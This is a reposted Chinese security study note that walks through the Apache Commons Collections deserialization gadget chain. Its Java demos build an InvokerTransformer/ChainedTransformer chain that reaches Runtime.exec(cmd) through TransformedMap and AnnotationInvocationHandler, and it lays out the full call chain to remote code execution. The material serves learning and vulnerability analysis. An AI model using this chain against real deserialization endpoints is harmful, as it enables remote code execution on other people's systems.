JAVA 安全学习笔记(四)Apache Commons Collections反序列化漏洞

>  Author: shaobaobaoer

>  Codes : https://github.com/ninthDevilHAUNSTER/JavaSecLearning

>  Mail: shaobaobaoer@126.com

>  WebSite: shaobaobaoer.cn

>  Time: Saturday, 25. July 2020 11:02AM

Apache Commons Collections

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

这个组件应该用的非常多的,我用的是在http://www.java2s.com/Code/Jar/a/Downloadapachecommonsjar.htm上下载的apache-commons.jar文件。其他的jar应该大同小异,也可以在 maven仓库
中下载。(咱不懂为啥JAVA的包管理机制这么奇怪,我这个小菜鸡不知道,也不敢问~)

org.apache.commons.collections 的类

InvokerTransformer 类

在Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer, 这个类实现了:java.io.Serializable接口。

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口, Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例

InvokerTransformer 扩展了 序列化 与 Transformer 类。

构造函数

其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
                this.iMethodName = methodName;
                this.iParamTypes = paramTypes;
                this.iArgs = args;
                }

transform

其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法

public Object transform(Object input) {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
         }

demo

使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(毕竟代码是人家写的)

public static void InvokerTransformerVuln() throws IOException {
        InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});
        Process res = (Process) itf.transform(Runtime.getRuntime()); // 相当于 Runtime.getRuntime().exec(cmd)
        String res_output = IOUtils.toString(res.getInputStream(), "GBK");
        System.out.println(res_output);
    }

ChainedTransformer 类

ChainedTransformer类实现了Transformer链式调用, 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

构造函数

其构造函数为传入一个 Transformer 数组

public ChainedTransformer(Transformer[] transformers) {
                   this.iTransformers = transformers;
                }

transform方法

transform方法为对其循环调用

public Object transform(Object object) {
                      for (int i = 0; i < iTransformers.length; i++) {
                          object = iTransformers[i].transform(object);
                      }
                      return object;
                  }

构造调用链

所谓调用链,先来搞一下直线式构造到底的调用链。如下所示:

Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)

将其展开为InvokerTransformer链,则有:

ConstantTransformer 为获取一个常量。其tranform方法就是返回这个常量。

Transformer[] tf_array = new Transformer[]{
                    new ConstantTransformer(Runtime.class),  // Runtime.class.
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}
                    ), // Runtime.class.getMethod("getRuntime")
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}
                    ),// Runtime.class.getMethod("getRuntime").invoke(null)
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
                    // Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
            };

注意,对于语句

Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)

并不执行得了,因为invoke返回的是Object对象,Object对象是没有exec方法的。

按照写为一行的代码,真正能正确执行的语句应该是

((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)

这样才能正确执行。

TransformedMap 类隐蔽触发序列化

TransformedMap 本意是对放入Map的键值对做一些转换。 这转换的方法就是transformed类,而该类又存在着反序列化的方法来保存内容。由此就有了反序列化的漏洞

构造函数

// 构造函数的protected ,用decorate来实现。
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

            protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
                super(map);
                this.keyTransformer = keyTransformer;
                this.valueTransformer = valueTransformer;
            }

Put

使用Put,Putall等方法会触发 keyTransformer
valueTransformer
,而获取单个元素后,使用 SetValue
会触发 valueTransformer

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

DEMO

public static void TransformedMapVuln() {
        try {
            HashMap<String, String> m = new HashMap<String, String>();
            m.put("1", "1");
            Transformer transformedChain = new ChainedTransformer(evil_tf_chain);
            Map<String, String> transformedMap = TransformedMap.decorate(m, null, transformedChain);
           
            for (Object obj : transformedMap.entrySet()) {
                Map.Entry entry = (Map.Entry) obj;

                // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
                entry.setValue("test");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

AnnotationInvocationHandler

我装的是JAVA 14,这个类的写法和 别人博客
里非常不一样,所以也导致了我复现失败。

注:在高版本的1.8 JDK往后的JDK中该类的代码已经被修改,而无法使用,因此如果你需要做这个实验的话,需要安装1.8的低版本JDK,例如在1.8 u60中该代码可以被使用。

AnnotationInvocationHandler
类实现了 java.lang.reflect.InvocationHandler
(Java动态代理)接口和 java.io.Serializable
接口,它还重写了 readObject
方法,在 readObject
方法中还间接的调用了 TransformedMap
MapEntry
setValue
方法,从而也就触发了 transform
方法,完成了整个攻击链的调用。

构造函数

由于它是一个内部类,不能直接new,但是我们有着万能的反射机制。其入口参数是一个Annotaion接口的实现类以及一个Map。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
...(省略无关代码)
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name))); // 注意此处的setValue
                }
            }
        }
    }
}

观察其readObject的最后一行,可以看到其存在着一个遍历Map中元素,并setValue的操作。

那么之前在分析 TransformedMap
有发现,其实它的setValue会触发transform的方法(如ChainedTransformer.transform)。于是就完成了RCE。

demo

public static void AnnotationInvocationHandlerVuln() {
        try {
            Map<String, String> m = new HashMap<>();
            m.put("value", "value");
            Map<?, ?> transformedMap = TransformedMap.decorate(m, null, new ChainedTransformer(evil_tf_chain));
            Class<?> Aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> Aih_cons = Aih.getDeclaredConstructor(Class.class, Map.class);
            Aih_cons.setAccessible(true);
            Object obj = Aih_cons.newInstance(Target.class, transformedMap);
            ObjectSerializeAndDeserializeWithStream(obj); //模拟序列化与反序列化的过程,理论上可以完成命令执行,但是我JAVA版本14复现失败了。
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

RCE链

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

反序列化漏洞组合的相关条件

那么回顾刚才这一些系列的操作,我们是不是可以总结一下呢?看到了 Freebuf上的一篇博客
,感觉获益匪浅。这里记录下。

  • 我们首先需要一个恶意对象(EvilObject),它将使用一个特定方法(EvilMethod)来触发命令执行。
  • 我们还需要一个宿主(SerializableClass),这个宿主是一个可序列化的类,该类在重写readObject的同时,还加入了一些额外的,看上去很正常的方法(NormalMethod)。当该类被反序列化的时候,它会触发readObject()中的NormalMethod(),一切看上去都非常正常。
  • 最后我们需要一个媒介类(MediumClass),这个媒介是是连接EvilMethod和NormalMethod的东西。简单来说,就是它内连 EvilObject,外接 SerializableClass,自身包含着EvilObject,又作为一个重要变量或参数存在于SerializableClass中。当SerializableClass调用NormalMethod的时候,会 连动
    它调用EvilMethod

这么说自然是非常抽象,接下来引入那个 AnnotationInvocationHandler的调用链,就有较为直观的认识。

  • EvilObject为ChainedTransformer,EvilMethod为transform。利用.transform将触发命令执行
  • SerializableClass为AnnotationInvocationHandler,它的readObject中,将调用其一个Map类成员变量(姑且这么称呼,实际上并非如此)的setValue方法
  • MediumClass为transformedMap,它的一个类成员变量为EvilObject,当它的.setValue方法被触发的时候,它将调用EvilObject.transform,来触发命令执行。

希望这个例子能对我理解Apache Commons Collections的反序列化漏洞有所帮助。

之后将详细对这三部分进行整理。

病毒:一个可以进行恶意操作的恶意对象(EvilObject)

找到一个可以实现执行恶意代码的工具类,他们的作用是将我们的恶意代码伪装起来,并且在一个合理的时机里触发我们的恶意代码。

在之前的介绍中,符合这样一个类型的Object是

  • Transformer
  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

根据精心设定,这些类在执行 transform
方法的时候,会触发预先植入的恶意代码。

宿主:一个实现readObject方法且可能存在其他可利用行为的Serializable类(SerializableClass)

该类是可以被反序列化的,将上述对象包装到这个类中,这样在这个类进行反序列化的过程中,它将会调用readObject方法的同时,进行一些额外的操作,这些额外的操作是可以利用的,并且会触发恶意对象中的恶意方法。

在之前的介绍中,符合这样一个类型的类是

  • BadAttributeValueExpException类
  • AnnotationInvocationHandler类(JDK<=7)

媒介:用来构建恶意对象到触发对象的包装类(HiddenSerializeOperationClass)

这样一个包装类,会在隐藏得执行一些序列化/反序列化操作。这样就能够触发之前SerializableClass中的readObject方法。那么哪些类有着这些特征呢?

如果SerializableClass为AnnotationInvocationHandler,那么就需要找到连接Map.setValue和InvokerTransformer.transform的桥梁。

在之前的介绍中,符合这样一个类型的类是

  • LazyMap
  • TransformedMap

原文 

https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » JAVA 安全学习笔记(四)Apache Commons Collections反序列化漏洞

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址